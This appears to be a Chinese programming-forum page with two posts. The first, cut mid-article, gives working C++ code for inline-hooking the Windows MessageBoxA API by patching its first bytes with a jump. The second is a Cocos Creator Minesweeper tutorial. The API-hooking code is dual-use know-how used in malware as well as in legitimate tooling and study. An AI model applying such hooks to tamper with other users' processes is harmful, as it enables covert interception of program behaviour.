    UNHHOK 的流程基本上和 HOOK 的流程是一样的,只不过这次写入的数据是之前保存的前几字节数据。这样,API函数又恢复正常了。
    编码实现Hook API// Hook ApiBOOL HookApi_MessageBoxA(){ // 获取 user32.dll 模块加载基址 HMODULE hDll = ::GetModuleHandle("user32.dll"); if (NULL == hDll) { return FALSE; } // 获取 MessageBoxA 函数的导出地址 PVOID OldMessageBoxA = ::GetProcAddress(hDll, "MessageBoxA"); if (NULL == OldMessageBoxA) { return FALSE; } // 计算写入的前几字节数据, 32位下5字节, 64位下12字节#ifndef _WIN64 // 32位 // 汇编代码:jmp _dwNewAddress // 机器码位:e9 _dwOffset(跳转偏移) // addr1 --> jmp _dwNewAddress指令的下一条指令的地址,即eip的值 // addr2 --> 跳转地址的值,即_dwNewAddress的值 // 跳转偏移 _dwOffset = addr2 - addr1 BYTE pNewData[5] = {0xe9, 0, 0, 0, 0}; DWORD dwNewDataSize = 5; DWORD dwOffset = 0; // 计算跳转偏移 dwOffset = (DWORD)NewMessageBoxA - ((DWORD)OldMessageBoxA + 5); ::RtlCopyMemory(&pNewData[1], &dwOffset, sizeof(dwOffset));#else // 64位 // 汇编代码:mov rax, _dwNewAddress(0x1122334455667788) // jmp rax // 机器码是: // 48 b8 _dwNewAddress(0x1122334455667788) // ff e0 BYTE pNewData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0}; DWORD dwNewDataSize = 12; ULONGLONG ullNewFuncAddr = (ULONGLONG)NewMessageBoxA; ::RtlCopyMemory(&pNewData[2], &ullNewFuncAddr, sizeof(ullNewFuncAddr));#endif // 设置页面的保护属性为 可读、可写、可执行 DWORD dwOldProtect = 0; ::VirtualProtect(OldMessageBoxA, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 保存原始数据 ::RtlCopyMemory(g_pOldData, OldMessageBoxA, dwNewDataSize); // 开始修改 MessageBoxA 函数的前几字节数据, 实现 Inline Hook API ::RtlCopyMemory(OldMessageBoxA, pNewData, dwNewDataSize); // 还原页面保护属性 ::VirtualProtect(OldMessageBoxA, dwNewDataSize, dwOldProtect, &dwOldProtect); return TRUE;}
    Unhook Api// Unhook ApiBOOL UnhookApi_MessageBoxA(){ // 获取 user32.dll 模块加载基址 HMODULE hDll = ::GetModuleHandle("user32.dll"); if (NULL == hDll) { return FALSE; } // 获取 MessageBoxA 函数的导出地址 PVOID OldMessageBoxA = ::GetProcAddress(hDll, "MessageBoxA"); if (NULL == OldMessageBoxA) { return FALSE; } // 计算写入的前几字节数据, 32位下5字节, 64位下12字节#ifndef _WIN64 DWORD dwNewDataSize = 5;#else DWORD dwNewDataSize = 12;#endif // 设置页面的保护属性为 可读、可写、可执行 DWORD dwOldProtect = 0; ::VirtualProtect(OldMessageBoxA, dwNewDataSize, PAGE_EXECUTE_READWRITE, &dwOldProtect); // 恢复数据 ::RtlCopyMemory(OldMessageBoxA, g_pOldData, dwNewDataSize); // 还原页面保护属性 ::VirtualProtect(OldMessageBoxA, dwNewDataSize, dwOldProtect, &dwOldProtect); return TRUE;}
    新 API 函数// 新的 APIint WINAPI NewMessageBoxA( HWND hWnd, // handle to owner window LPCTSTR lpText, // text in message box LPCTSTR lpCaption, // message box title UINT uType // message box style ){ // Unhook UnhookApi_MessageBoxA(); // 获取 user32.dll 模块加载基址 HMODULE hDll = ::GetModuleHandle("user32.dll"); if (NULL == hDll) { return FALSE; } // 获取 MessageBoxA 函数的导出地址 typedef_MessageBoxA OldMessageBoxA = (typedef_MessageBoxA)::GetProcAddress(hDll, "MessageBoxA"); if (NULL == OldMessageBoxA) { return FALSE; } int iRet = OldMessageBoxA(hWnd, "I am Nobody!!!", "Who Am I", MB_YESNO); // Hook HookApi_MessageBoxA(); return iRet;}
    程序测试我们直接运行一个加载程序,首先,先调用 MessageBoxA 函数,这是还没有执行 API HOOK,正常弹窗:

    然后,使程序加载 InlineHookApi_Test.dll ,这样,DLL 便会在入口点函数 DllMain 中就开始 Hook 进程中的 MessageBoxA 函数。在调用 MessageBoxA 函数进行测试,数据成功更改,HOOK API 成功:

    测试了 32 位版本系统成功,测试了 64 位版本系统也成功。
    总结要注意两个地方:

    一是在修改导出函数地址前几字节数据的时候,建议先对页面属性保护重新设置一下,可以调用 VirtualProtect 函数将页面属性保护设置成 可读、可写、可执行的属性 PAGE_EXECUTE_READWRITE。这样,我们在对这块内存操作的时候,就不会报错。
    二是我们在创建新的API来替代就的API函数的时候,新API函数声明一定要加上 WINAPI(__stdcall)的函数调用约定,否则新函数会默认使用 C 语言的调用约定。否则,会在函数返回,堆栈平衡操作的时候会报错的。

    参考参考自《Windows黑客编程技术详解》一书
    3 回答 2018-12-03 08:51:07
  • 【Cocos Creator实战算法教程(1)】——扫雷

    今天开始,我们开始完整做游戏,熟悉一下制作游戏的流程,然后我们就可以大概了解一下几个经典小游戏的算法。
    1. 主要思路扫雷游戏里有很多小方块,我们这里用Tile表示方块的含义,我们用网格的Layout存放这些Tile,按照扫雷高级难度的标准我们要添加16x30个Tile,这里定义一个Tile的大小为30x30,Layout的大小就是480x900

    很明显我们要用脚本想Layout里动态添加Tile,所以这里我们要制作一个Tile 的Prefab (忘了的同学回去看看实战一)

    这个Tile还是有很多种形态的,就像这些

    我们知道Tile是可以点击的,点开前我们可以对他进行标记(插旗,问号),点开后他会显示周围雷的情况(1到8或者空或者是雷),我们为Tile添加两个用于区别的属性,一个是state,一个是type,state代表Tile的点击状态,包括:None(未点击),Flag(插旗),Doubt(疑问),Cliked(点开),type代表Tile点开后的种类,包括数字和雷,之所以要用两个属性区别,是因为我们要对每一个Tile进行初始化,每一个Tile在开始游戏时就要确定下来。
    Tile.js
    const TYPE = cc.Enum({ ZERO:0, ONE:1, TWO:2, THREE:3, FOUR:4, FIVE:5, SIX:6, SEVEN:7, EIGHT:8, BOMB:9});const STATE = cc.Enum({ NONE:-1,//未点击 CLIKED:-1,//已点开 FLAG:-1,//插旗 DOUBT:-1,//疑问});//其他脚本访问module.exports = { STATE:STATE, TYPE:TYPE,};cc.Class({ extends: cc.Component, properties: { picNone:cc.SpriteFrame, picFlag:cc.SpriteFrame, picDoubt:cc.SpriteFrame, picZero:cc.SpriteFrame, picOne:cc.SpriteFrame, picTwo:cc.SpriteFrame, picThree:cc.SpriteFrame, picFour:cc.SpriteFrame, picFive:cc.SpriteFrame, picSix:cc.SpriteFrame, picSeven:cc.SpriteFrame, picEight:cc.SpriteFrame, picBomb:cc.SpriteFrame, _state: { default: STATE.NONE, type: STATE, visible: false }, state: { get: function () { return this._state; }, set: function(value){ if (value !== this._state) { this._state = value; switch(this._state) { case STATE.NONE: this.getComponent(cc.Sprite).spriteFrame = this.picNone; break; case STATE.CLIKED: this.showType(); break; case STATE.FLAG: this.getComponent(cc.Sprite).spriteFrame = this.picFlag; break; case STATE.DOUBT: this.getComponent(cc.Sprite).spriteFrame = this.picDoubt; break; default:break; } } }, type:STATE, }, type: { default:TYPE.ZERO, type:TYPE, }, }, showType:function(){ switch(this.type){ case TYPE.ZERO: this.getComponent(cc.Sprite).spriteFrame = this.picZero; break; case TYPE.ONE: this.getComponent(cc.Sprite).spriteFrame = this.picOne; break; case TYPE.TWO: this.getComponent(cc.Sprite).spriteFrame = this.picTwo; break; case TYPE.THREE: this.getComponent(cc.Sprite).spriteFrame = this.picThree; break; case TYPE.FOUR: this.getComponent(cc.Sprite).spriteFrame = this.picFour; break; case TYPE.FIVE: this.getComponent(cc.Sprite).spriteFrame = this.picFive; break; case TYPE.SIX: this.getComponent(cc.Sprite).spriteFrame = this.picSix; break; case TYPE.SEVEN: this.getComponent(cc.Sprite).spriteFrame = this.picSeven; break; case TYPE.EIGHT: this.getComponent(cc.Sprite).spriteFrame = this.picEight; break; case TYPE.BOMB: this.getComponent(cc.Sprite).spriteFrame = this.picBomb; break; default:break; } }});
    在Game脚本里设置一些游戏参数
    Game.js
    const GAME_STATE = cc.Enum({ PREPARE:-1, PLAY:-1, DEAD:-1, WIN:-1});const TOUCH_STATE = cc.Enum({ BLANK:-1, FLAG:-1,});cc.Class({ extends: cc.Component, properties: { tilesLayout:cc.Node, tile:cc.Prefab, btnShow:cc.Node, tiles:[],//用一个数组保存所有tile的引用,数组下标就是相应tile的tag picPrepare:cc.SpriteFrame, picPlay:cc.SpriteFrame, picDead:cc.SpriteFrame, picWin:cc.SpriteFrame, gameState:{ default:GAME_STATE.PREPARE, type:GAME_STATE, }, touchState:{//左键点开tile,右键插旗 default:TOUCH_STATE.BLANK, type:TOUCH_STATE, }, row:0, col:0, bombNum:0, }, onLoad: function () { this.Tile = require("Tile"); var self = this; for(let y=0;y<this.row;y++){ for(let x=0;x<this.col;x++){ let tile = cc.instantiate(this.tile); tile.tag = y*this.col+x; tile.on(cc.Node.EventType.MOUSE_UP,function(event){ if(event.getButton() === cc.Event.EventMouse.BUTTON_LEFT){ self.touchState = TOUCH_STATE.BLANK; }else if(event.getButton() === cc.Event.EventMouse.BUTTON_RIGHT){ self.touchState = TOUCH_STATE.FLAG; } self.onTouchTile(this); }); this.tilesLayout.addChild(tile); this.tiles.push(tile); } } this.newGame(); }, newGame:function(){ //初始化场景 for(let n=0;n<this.tiles.length;n++){ this.tiles[n].getComponent("Tile").type = this.Tile.TYPE.ZERO; this.tiles[n].getComponent("Tile").state = this.Tile.STATE.NONE; } //添加雷 var tilesIndex = []; for(var i=0;i<this.tiles.length;i++){ tilesIndex[i] = i; } for(var j=0;j<this.bombNum;j++){ var n = Math.floor(Math.random()*tilesIndex.length); this.tiles[tilesIndex[n]].getComponent("Tile").type = this.Tile.TYPE.BOMB; tilesIndex.splice(n,1);//从第n个位置删除一个元素 //如果没有splice方法可以用这种方式 // tilesIndex[n] = tilesIndex[tilesIndex.length-1]; // tilesIndex.length--; } //标记雷周围的方块 for(var k=0;k<this.tiles.length;k++){ var tempBomb = 0; if(this.tiles[k].getComponent("Tile").type == this.Tile.TYPE.ZERO){ var roundTiles = this.tileRound(k); for(var m=0;m<roundTiles.length;m++){ if(roundTiles[m].getComponent("Tile").type == this.Tile.TYPE.BOMB){ tempBomb++; } } this.tiles[k].getComponent("Tile").type = tempBomb; } } this.gameState = GAME_STATE.PLAY; this.btnShow.getComponent(cc.Sprite).spriteFrame = this.picPlay; }, //返回tag为i的tile的周围tile数组 tileRound:function(i){ var roundTiles = []; if(i%this.col > 0){//left roundTiles.push(this.tiles[i-1]); } if(i%this.col > 0 && Math.floor(i/this.col) > 0){//left bottom roundTiles.push(this.tiles[i-this.col-1]); } if(i%this.col > 0 && Math.floor(i/this.col) < this.row-1){//left top roundTiles.push(this.tiles[i+this.col-1]); } if(Math.floor(i/this.col) > 0){//bottom roundTiles.push(this.tiles[i-this.col]); } if(Math.floor(i/this.col) < this.row-1){//top roundTiles.push(this.tiles[i+this.col]); } if(i%this.col < this.col-1){//right roundTiles.push(this.tiles[i+1]); } if(i%this.col < this.col-1 && Math.floor(i/this.col) > 0){//rihgt bottom roundTiles.push(this.tiles[i-this.col+1]); } if(i%this.col < this.col-1 && Math.floor(i/this.col) < this.row-1){//right top roundTiles.push(this.tiles[i+this.col+1]); } return roundTiles; }, onTouchTile:function(touchTile){ if(this.gameState != GAME_STATE.PLAY){ return; } switch(this.touchState){ case TOUCH_STATE.BLANK: if(touchTile.getComponent("Tile").type === 9){ touchTile.getComponent("Tile").state = this.Tile.STATE.CLIKED; this.gameOver(); return; } var testTiles = []; if(touchTile.getComponent("Tile").state === this.Tile.STATE.NONE){ testTiles.push(touchTile); while(testTiles.length){ var testTile = testTiles.pop(); if(testTile.getComponent("Tile").type === 0){ testTile.getComponent("Tile").state = this.Tile.STATE.CLIKED; var roundTiles = this.tileRound(testTile.tag); for(var i=0;i<roundTiles.length;i++){ if(roundTiles[i].getComponent("Tile").state == this.Tile.STATE.NONE){ testTiles.push(roundTiles[i]); } } }else if(testTile.getComponent("Tile").type > 0 && testTile.getComponent("Tile").type < 9){ testTile.getComponent("Tile").state = this.Tile.STATE.CLIKED; } } this.judgeWin(); } break; case TOUCH_STATE.FLAG: if(touchTile.getComponent("Tile").state == this.Tile.STATE.NONE){ touchTile.getComponent("Tile").state = this.Tile.STATE.FLAG; }else if(touchTile.getComponent("Tile").state == this.Tile.STATE.FLAG){ touchTile.getComponent("Tile").state = this.Tile.STATE.NONE; } break; default:break; } }, judgeWin:function(){ var confNum = 0; //判断是否胜利 for(let i=0;i<this.tiles.length;i++){ if(this.tiles[i].getComponent("Tile").state === this.Tile.STATE.CLIKED){ confNum++; } } if(confNum === this.tiles.length-this.bombNum){ this.gameState = GAME_STATE.WIN; this.btnShow.getComponent(cc.Sprite).spriteFrame = this.picWin; } }, gameOver:function(){ this.gameState = GAME_STATE.DEAD; this.btnShow.getComponent(cc.Sprite).spriteFrame = this.picDead; }, onBtnShow:function(){ if(this.gameState === GAME_STATE.PREPARE){ this.newGame(); } if(this.gameState === GAME_STATE.DEAD){ // this.bombNum--; this.newGame(); } if(this.gameState === GAME_STATE.WIN){ // this.bombNum++; this.newGame(); } }});

    最后加上扫雷算法
    2. 扫雷算法2.1 随机添加地雷:这里要保证每次添加的地雷位置都不能重复
    var tilesIndex = [];for(var i=0;i<this.tiles.length;i++){ tilesIndex[i] = i;}for(var j=0;j<this.bombNum;j++){ var n = Math.floor(Math.random()*tilesIndex.length); this.tiles[tilesIndex[n]].getComponent("Tile").type = this.Tile.TYPE.BOMB; tilesIndex.splice(n,1);//从第n个位置删除一个元素 //如果没有splice方法可以用这种方式 // tilesIndex[n] = tilesIndex[tilesIndex.length-1]; // tilesIndex.length--;}
    2.2 计算Tile周围雷的数目先要建立一个能得到Tile周围Tile数组的方法(Game.js里的tileRound方法),要注意边界检测,然后对返回的Tile数组判断Type就行了
    2.3 点开相连空地区域最简单的方法是用递归,但是调用函数的次数太多了,然后Creator就出Bug了,所以这里我们用一种非递归的方式实现
    简单的流程图示意:
    从点开的这个Tile进行处理,调用tileRound方法判断周围Tile是否是空地且未被点开,如果不是,则跳过,如果是,则将其自动点开,同时把这几个位置加入栈循环判断。流程图如下:当前位置是空白位置?----否---> 非空白的处理 | | 是 | V 入栈 | V+--->栈为空?-------->是---> 结束| || |否| || V| 出栈一个元素| || V| 点开该元素所指的位置| || V| 上左下右的位置如果是空白且未点开则入栈| |--------+3. 总结来一句算法的名言:所有递归都能转化为循环
    并且不得不感慨,cocos creator 更多是为策划服务,而非开发。开发入门可以,太高深的算法就死了,当然,creator编辑器一直在进化。
    本教程部分资源来源于网络。
    3 回答 2018-12-02 17:35:45
显示 30 到 45 ,共 15 条
eject